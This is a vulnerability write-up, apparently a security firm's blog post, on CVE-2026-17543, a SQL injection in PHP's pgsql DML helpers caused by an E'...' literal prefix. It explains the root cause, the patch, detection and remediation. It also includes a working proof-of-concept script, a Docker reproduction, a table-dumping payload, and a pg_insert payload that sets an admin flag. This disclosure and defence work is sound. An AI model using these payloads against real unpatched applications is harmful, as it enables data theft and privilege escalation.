HB Updated Aug 06, 2026

E is for Exploit: CVE-2026-17543 — SQL Injection in PHP's pgsql Extension via the `E'...'` Backslash Breakout

On July 30, 2026, NIST’s National Vulnerability Database published CVE-2026-17543, a SQL injection vulnerability sitting not in some neglected WordPress plugin, but in PHP itself — specifically the pgsql extension that ships with the language. NVD scores it 9.8 Critical (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H). It affects every supported PHP 8.x branch: 8.2 before 8.2.33, 8.3 before 8.3.33, 8.4 before 8.4.24, and 8.5 before 8.5.9.

The irony is thick. The vulnerable functions — pg_insert(), pg_select(), pg_update(), pg_delete(), and pg_convert() — exist precisely to spare developers from hand-writing SQL. They are the “safe” convenience helpers that escape your parameters for you. And the escaping itself was correct. The bug is that immediately after escaping correctly, PHP wrapped the result in a syntax that undid the escaping. A single letter — an E prefix — turned a safely-escaped string literal back into an interpreter that honoured backslashes, and a single backslash in the attacker’s input was then enough to walk straight out of the quotes.

If that sounds familiar, it should. In our previous article on pgAdmin’s AI Assistant, a critical SQL-injection bypass hinged on the exact same PostgreSQL default: standard_conforming_strings = on, which since PostgreSQL 9.1 (2011) has meant that a backslash is ordinary inside a normal '...' string. Two completely different codebases, two completely different bugs, and the same little E and the same little \ at the bottom of both. PostgreSQL’s string-literal semantics are a load-bearing wall that a lot of software leans on without realising quite how heavy it is.

This article walks through the vulnerable code path in ext/pgsql, why the escaping and the wrapping disagreed, a reproducible proof of concept, what is and isn’t affected, and how to fix it.


Vulnerability Classification

Field Value
CVE ID CVE-2026-17543
CVSS 3.1 9.8 — Critical (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) — NVD (primary)
Severity note GitHub advisory GHSA-7qpv-r5mr-78m4 rates the same flaw High, reflecting that exploitation requires an application to pass attacker-controlled values into the pg_*() DML helpers
CWE CWE-89 — Improper Neutralization of Special Elements used in an SQL Command (SQL Injection)
Affected Software PHP — ext/pgsql (the procedural PostgreSQL extension)
Affected Versions PHP 8.2 < 8.2.33, 8.3 < 8.3.33, 8.4 < 8.4.24, 8.5 < 8.5.9
Patched Versions 8.2.33, 8.3.33, 8.4.24, 8.5.9 (released July 30, 2026)
Vulnerable Functions pg_insert(), pg_select(), pg_update(), pg_delete(), pg_convert() — all route through php_pgsql_convert()
Vulnerable Code ext/pgsql/pgsql.cphp_pgsql_add_quotes() (wraps in E'...') + php_pgsql_convert() (escapes via PQescapeStringConn())
Root Cause Escape produced by PQescapeStringConn() (correct for a standard '...' literal) is wrapped in an escape-string-constant E'...', which re-enables backslash escaping and defeats the quote-doubling
Fix Wrap parameters in plain '...' instead of E'...' (commit ab048bd83b57)
CVE Published July 30, 2026 (NVD)
Researcher expatch.llc (credited in the upstream regression test)
Fix Author Ilija Tovilo (iluuu1994), PHP internals

The CVSS vector deserves a moment. AV:N/PR:N/UI:N says “network-reachable, no privileges, no user interaction” — but read it at the language layer, not the HTTP layer. The injection happens the instant an application calls, say, pg_select($db, 'users', ['name' => $_POST['name']]) with an attacker-controlled value. Whether a remote stranger can reach that call depends on the application; the 9.8 reflects the worst case, which is exceedingly common: any form field, query parameter, or header that flows into one of these five helpers. GitHub’s lower “High” rating is the sober counter-argument — it only bites code that actually uses these helpers with tainted data. Both are right; the difference is whether you score the language primitive or the realistic deployment. Either way, if your code matches the pattern, you are open.


Background: PHP’s pgsql Extension and Its “Safe” Helpers

Two ways to talk to Postgres from PHP

PHP offers two distinct PostgreSQL interfaces, and the distinction matters for this vulnerability:

  • PDO_PGSQL — the object-oriented, database-agnostic abstraction (PDO class). Prepared statements, its own quoter (pgsql_handle_quoter), and an emulate/prepare toggle.
  • ext/pgsql — the older, procedural, Postgres-specific extension (pg_connect, pg_query, pg_fetch_*). This is where CVE-2026-17543 lives.

Within ext/pgsql there are also two ways to run a query:

  • pg_query() / pg_query_params() — you write the SQL yourself. pg_query_params() does real server-side parameter substitution (the $1, $2 protocol-level binding), which is genuinely injection-proof.
  • The DML helper functionspg_insert(), pg_select(), pg_update(), pg_delete(), and the lower-level pg_convert() that powers them. You hand these functions a table name and an associative array of column → value, and they build and escape the SQL for you. This is the “I don’t want to think about SQL” path, and it is the path that broke.
// The intended, "safe" pattern these helpers were built for:
$rows = pg_select($db, 'users', ['name' => $nameFromForm]);
// Internally builds: SELECT * FROM "users" WHERE "name"='<escaped $nameFromForm>'

The promise is that you never concatenate user data into SQL by hand. The helpers do the escaping for you through one internal funnel: php_pgsql_convert().

php_pgsql_convert() and php_pgsql_add_quotes()

When you call any of the DML helpers with an array of values, every string value flows through this pipeline (simplified):

// ext/pgsql/pgsql.c — php_pgsql_convert(), string branch
str = zend_string_alloc(Z_STRLEN_P(val) * 2, 0);
ZSTR_LEN(str) = PQescapeStringConn(pg_link, ZSTR_VAL(str),
        ZSTRVAL(val), ZSTRLEN(val), &escape_err);   // [1] escape with libpq
// ...
quoted = php_pgsql_add_quotes(str);                  // [2] wrap in quote syntax

Two steps, in order:

  1. PQescapeStringConn() — libpq’s own escaping function. It is the canonical, Postgres-blessed way to make a string safe to interpolate. Under standard_conforming_strings = on (the default), it doubles ' into '' and leaves \ untouched, because in a standard conforming literal a backslash is not special and needs no escaping.
  2. php_pgsql_add_quotes() — wraps the escaped result in quote syntax so it becomes a complete string literal token.

Both steps are reasonable in isolation. The bug is in how they were combined — specifically, which quote syntax step 2 chose.

The two flavours of Postgres string literal

This is the crux, and it is worth slowing down for. PostgreSQL has two ways to write a single-quoted string literal:

Syntax Name Backslash behaviour
'...' Standard conforming string \ is an ordinary character (SQL-standard behaviour). The only special sequence is '', which encodes a literal '.
E'...' Escape string constant (C-style) \ begins an escape sequence. \' encodes a literal ', \\ a literal \, \n a newline, and so on.

Which flavour is in force is controlled by the standard_conforming_strings GUC, on by default since PostgreSQL 9.1 (2011). The whole point of standard_conforming_strings = on is that plain '...' literals treat \ as nothing special, so escaping them is trivial: just double the quotes.

PQescapeStringConn() is designed for that world. It assumes its output will be placed inside a standard '...' literal, and it escapes accordingly: double the quotes, ignore the backslashes. That contract is safe — as long as the caller actually uses a '...' literal.

String Literal Mismatch


The Bug: Two Escapers That Disagreed

Here is the entire vulnerable function, php_pgsql_add_quotes(), in full:

static zend_string *php_pgsql_add_quotes(zend_string *src)
{
    return zend_string_concat3("E'", strlen("E'"), ZSTR_VAL(src), ZSTR_LEN(src), "'", strlen("'"));
}

It prepends E' and appends '. That E is the entire vulnerability. php_pgsql_convert() had carefully escaped the value for a standard '...' literal using PQescapeStringConn(), and then php_pgsql_add_quotes() wrapped it in an escape string constant E'...'. The two steps disagreed about whether a backslash is meaningful, and the second step silently won.

The chain, end to end:

  1. Attacker supplies the value zzz\' OR 1=1 -- (a backslash, a quote, then SQL).
  2. PQescapeStringConn() doubles the 'zzz\'' OR 1=1 --. The backslash is left alone (correct for a '...' literal).
  3. php_pgsql_add_quotes() wraps it: E'zzz\'' OR 1=1 --'.
  4. PostgreSQL parses an escape string constant. The \' is now an escape sequence meaning a literal ', so it consumes the backslash and the first quote together. The second quote — which escaping had placed there to be a doubled literal — now stands alone and terminates the string early.
  5. Everything after is raw SQL: OR 1=1 --.

The escaping did its job. The wrapping undid it. One character of prefix turned a safe literal into a trapdoor.

Escaping Pipeline

There was even a comment in the code that half-saw the problem — and then looked the other way:

// ext/pgsql/pgsql.c — php_pgsql_convert(), string branch (vulnerable)
str = zend_string_alloc(Z_STRLEN_P(val) * 2, 0);
/* better to use PGSQLescapeLiteral since PGescapeStringConn does not handle special \ */
ZSTR_LEN(str) = PQescapeStringConn(pg_link, ZSTR_VAL(str),
        ZSTRVAL(val), ZSTRLEN(val), &escape_err);

Someone knew PQescapeStringConn “does not handle special \”. The suggested fix (PQescapeLiteral, which returns a fully-quoted, correctly-mode literal) was never actually applied. Instead the code kept PQescapeStringConn and then wrapped the output in the one syntax — E'...' — guaranteed to make the unescaped backslashes dangerous.


Step-by-Step: How One Backslash Breaks Out

Take the canonical payload from the upstream advisory and trace it character by character. In PHP source, "zzz\\' OR 1=1 --" is the string zzz\' OR 1=1 -- (the \\ is a single backslash). The flow for pg_select($db, 'users', ['name' => "zzz\\' OR 1=1 --"]):

Input value (runtime):   z z z \ ' _ O R _ 1 = 1 _ - -
                              ^   ^
                              |   this quote is the target
                              backslash defeats the doubling

After PQescapeStringConn (doubles ', leaves \):
                         z z z \ ' ' _ O R _ 1 = 1 _ - -
                                   ^
                                   doubled quote (safe inside a '...' literal)

After php_pgsql_add_quotes (wraps in E'...'):
                         E ' z z z \ ' ' _ O R _ 1 = 1 _ - - '
                                       ^   ^
                                       \' = escaped literal '
                                             this ' now closes the string

The generated SQL, vulnerable build:

SELECT * FROM "users" WHERE "name"=E'zzz\'' OR 1=1 --'

PostgreSQL’s parser sees E'zzz\'' as a complete escape-string constant whose value is zzz' (the \' is one literal quote; the second ' closes the literal). The remainder, OR 1=1 --, is parsed as ordinary SQL — and -- comments out the dangling trailing quote. Net effect:

SELECT * FROM "users" WHERE "name" = 'zzz''' OR 1=1

OR 1=1 is true for every row. pg_select() returns the entire table.

Now the same payload on the patched build. The only change is that php_pgsql_add_quotes() emits '...' instead of E'...':

SELECT * FROM "users" WHERE "name"='zzz\'' OR 1=1 --'

Inside a standard '...' literal, the backslash is meaningless and '' is just a literal quote. So the string is not closed early — the OR 1=1 -- is swallowed inside the literal as ordinary characters, and the real closing quote is the one at the very end:

Token (fixed build) Meaning
'zzz\'' OR 1=1 --' A single standard string literal whose value is zzz\' OR 1=1 --

No row matches that absurd value, so the query returns nothing. No injection. The backslash, defanged, just becomes part of a harmless string. That is the whole fix: remove the E.

Build Generated literal Postgres sees Result
Vulnerable (E'...') E'zzz\'' OR 1=1 --' string zzz' + injected OR 1=1 All rows returned
Patched ('...') 'zzz\'' OR 1=1 --' one string zzz\' OR 1=1 -- Zero rows

The backslash is identical. The input is identical. The escaping is identical. The only difference is a one-character prefix — and it is the difference between “safe” and “full SQL injection.”


Proof of Concept

The complete, reproducible PoC is published here:

https://github.com/Hunt-Benito/e-is-for-exploit-cve-2026-17543-php-pgsql-sql-injection-backslash-breakout

The cleanest way to demonstrate the bug is to let PHP show us the SQL it generates, which is exactly what the upstream regression test does. Passing the PGSQL_DML_STRING flag to pg_select() makes it return the generated SQL instead of executing it — so we can see the vulnerable E'...' token with our own eyes, on a vulnerable build, without needing to interpret row counts.

<?php
// poc.php — CVE-2026-17543 demonstrator
// Requires a VULNERABLE PHP (< 8.2.33 / 8.3.33 / 8.4.24 / 8.5.9) with ext/pgsql.

$db = pg_connect(getenv('PGCONN') ?: 'host=db port=5432 dbname=test user=test password=test');

pg_query($db, "DROP TABLE IF EXISTS users");
pg_query($db, "CREATE TABLE users (id serial PRIMARY KEY, name text, admin boolean)");
pg_query($db, "INSERT INTO users (name, admin) VALUES ('alice', false), ('bob', false)");

// The payload: zzz\' OR 1=1 --   (a backslash BEFORE the quote)
$payload = "zzz\\' OR 1=1 --";

echo "[*] Generated SQL (PGSQL_DML_STRING):\n";
echo pg_select($db, 'users', ['name' => $payload], PGSQL_DML_STRING) . "\n\n";

echo "[*] Executing pg_select with the payload...\n";
$rows = pg_select($db, 'users', ['name' => $payload]);
echo "[+] Rows returned: " . count($rows) . "\n";
echo ($rows ? "[!] INJECTION SUCCESSFUL — leaked all rows\n" : "[*] no rows (patched build)\n");

Expected output on a vulnerable build (PHP 8.4.23 + PostgreSQL, standard_conforming_strings = on):

[*] Generated SQL (PGSQL_DML_STRING):
SELECT * FROM "users" WHERE "name"=E'zzz\'' OR 1=1 --'

[*] Executing pg_select with the payload...
[+] Rows returned: 2
[!] INJECTION SUCCESSFUL — leaked all rows

Note the E'zzz\'' — that E prefix is the smoking gun. On the patched build the same line reads 'zzz\'' (no E), the payload becomes a harmless literal string, and [+] Rows returned: 0.

One-shot reproduction with Docker

The PoC repo includes a docker-compose.yml that pins a vulnerable PHP CLI image against a stock PostgreSQL, so the whole thing is two commands:

$ git clone https://github.com/Hunt-Benito/e-is-for-exploit-cve-2026-17543-php-pgsql-sql-injection-backslash-breakout
$ cd e-is-for-exploit-cve-2026-17543-php-pgsql-sql-injection-backslash-breakout
$ docker compose up --build
# ... builds php:8.4.23-cli + postgres:16, runs poc.php, prints the output above

Attention! The vulnerable tag (php:8.4.23-cli and its 8.2/8.3/8.5 siblings) is, by definition, unpatched. Run it in a throwaway container and tear it down afterwards — docker compose down -v. Do not point it at any database you care about.

The same \' primitive works against pg_insert, pg_update, and pg_delete too. A particularly nasty variant escapes the value, closes the column list, and injects a second VALUES column — letting an attacker set columns they were never meant to touch:

// Turns into: INSERT INTO "users" ("name","admin") VALUES ('john\'', true) --','f')
pg_insert($db, 'users', ['name' => "john\\', true) --", 'admin' => 'f']);
// On a vulnerable build, a row is inserted with admin = TRUE.

The trailing -- comments out the 'f' the caller intended for admin, replacing it with true.


What Is — and Isn’t — Affected

The vulnerable surface is narrower than “all PHP + Postgres code,” which is the one piece of good news. Scope, precisely:

API Path Affected?
pg_insert / pg_select / pg_update / pg_delete php_pgsql_convert()php_pgsql_add_quotes() (E'...') YES — vulnerable
pg_convert() same path (the funnel the four helpers use) YES — vulnerable
pg_query_params() server-side $1 parameter binding No — never string-escapes
pg_query() with hand-written SQL no escaping performed by PHP N/A (your problem)
PDO_PGSQL prepared statements PDO’s own pgsql_handle_quoter; real or emulated prepares No — does not use php_pgsql_add_quotes()
PDO::quote() (PDO_PGSQL) PDO quoter No — distinct code path

Two practical takeaways. First, pg_query_params() and PDO prepared statements were never affected — this is purely a bug in the five DML helpers. If your codebase uses real parameter binding throughout, you are fine. Second, the helpers themselves are the issue, so the quickest stopgap (short of upgrading PHP) is to stop passing attacker-controlled values into pg_insert/pg_select/pg_update/pg_delete/pg_convert and rewrite those call sites to use pg_query_params().

Detection

If you operate a vulnerable version and want to know whether you’ve been hit, the artefacts are in the database query logs. With log_statement = 'all' or log_min_duration_statement enabled, look for E'...' string literals containing an embedded \'' sequence followed by SQL keywords — for example E'... \'' OR, E'... \'' UNION, E'... ''; --. A pg_select on a login/lookup table that returns a row count larger than one, or a pg_insert that sets a privilege column to true, are the two highest-signal anomalies.


Remediation

  1. Upgrade PHP. Install 8.2.33, 8.3.33, 8.4.24, or 8.5.9 (or later). The fix is the one-character change to php_pgsql_add_quotes() in commit ab048bd83b57. This is the only complete fix.
  2. Migrate the DML helpers to pg_query_params() as defence in depth. Parameter binding is structurally immune to this entire class of bug and is the long-term-correct pattern anyway:
    php $result = pg_query_params($db, 'SELECT * FROM users WHERE name = $1', [$nameFromForm]);
  3. Patch-and-verify. After upgrading, confirm the fix took effect by re-running poc.php (or the upstream GHSA-7qpv-r5mr-78m4.phpt regression test) — the generated SQL must contain '...', never E'...', for string values.
  4. Audit call sites. Grep for the dangerous functions on tainted input: grep -RInE "pg_(insert|select|update|delete|convert)\s*\(" . and check whether each one receives request data. Any that do were theoretically exploitable pre-upgrade.
  5. Rotate credentials if you suspect exploitation. If logs show the E'... \'' signature on an internet-exposed app running a vulnerable PHP, treat the database as compromised: rotate app DB credentials, review privileged accounts and admin flags, and check for unexpected rows.

Do not attempt to work around this by stripping backslashes from user input yourself. Reinventing escaping is exactly how we got here. Upgrade, or switch to parameter binding.


Attack / Disclosure Timeline

Date Event
Since 2011 PostgreSQL defaults to standard_conforming_strings = on (9.1); the latent mismatch becomes possible
Jul 27, 2026 Ilija Tovilo commits the fix (ab048bd83b57) — E'' — across the PHP 8.2–8.5 branches
Jul 30, 2026 PHP releases 8.2.33, 8.3.33, 8.4.24, 8.5.9 with the fix; GitHub advisory GHSA-7qpv-r5mr-78m4 published
Jul 30, 2026 NVD publishes CVE-2026-17543, CVSS 9.8 Critical, CWE-89
Jul 30, 2026 Regression test GHSA-7qpv-r5mr-78m4.phpt added (credits expatch.llc)

Sources

PostgreSQL Documentation — String Constants With C-Style Escapes (E'...'): https://www.postgresql.org/docs/current/sql-syntax-lexical.html#SQL-SYNTAX-STRINGS-ESCAPE

PostgreSQL Documentation — standard_conforming_strings: https://www.postgresql.org/docs/current/runtime-config-compatible.html#GUC-STANDARD-CONFORMING-STRINGS

PostgreSQL Documentation — libpq PQescapeStringConn: https://www.postgresql.org/docs/current/libpq-exec.html#LIBPQ-PQESCAPESTRINGCONN

NIST National Vulnerability Database — CVE-2026-17543: https://nvd.nist.gov/vuln/detail/CVE-2026-17543

CVE.org — CVE-2026-17543: https://www.cve.org/CVERecord?id=CVE-2026-17543

GitHub Security Advisory — GHSA-7qpv-r5mr-78m4 (SQL injection in ext-pgsql via E'...' backslash breakout): https://github.com/php/php-src/security/advisories/GHSA-7qpv-r5mr-78m4

PHP Fix Commit — ab048bd83b57 (Fix SQL injection in ext-pgsql via E'...' backslash breakout): https://github.com/php/php-src/commit/ab048bd83b578119cf81b456526d50498421d617

PHP ChangeLog (8.4) — PGSQL section referencing GHSA-7qpv-r5mr-78m4 / CVE-2026-17543: https://www.php.net/ChangeLog-8.php

PHP Documentation — pg_select / pg_insert / pg_convert / pg_query_params: https://www.php.net/manual/en/ref.pgsql.php

Previous Hunt-Benito article — One Quote Too Many: CVE-2026-17351 (pgAdmin standard_conforming_strings lexer differential): https://www.hunt-benito.com/blog/one-quote-too-many-cve-2026-17351-how-a-backslash-broke-pgadmins-ai-assistant-read-only-guard-twice/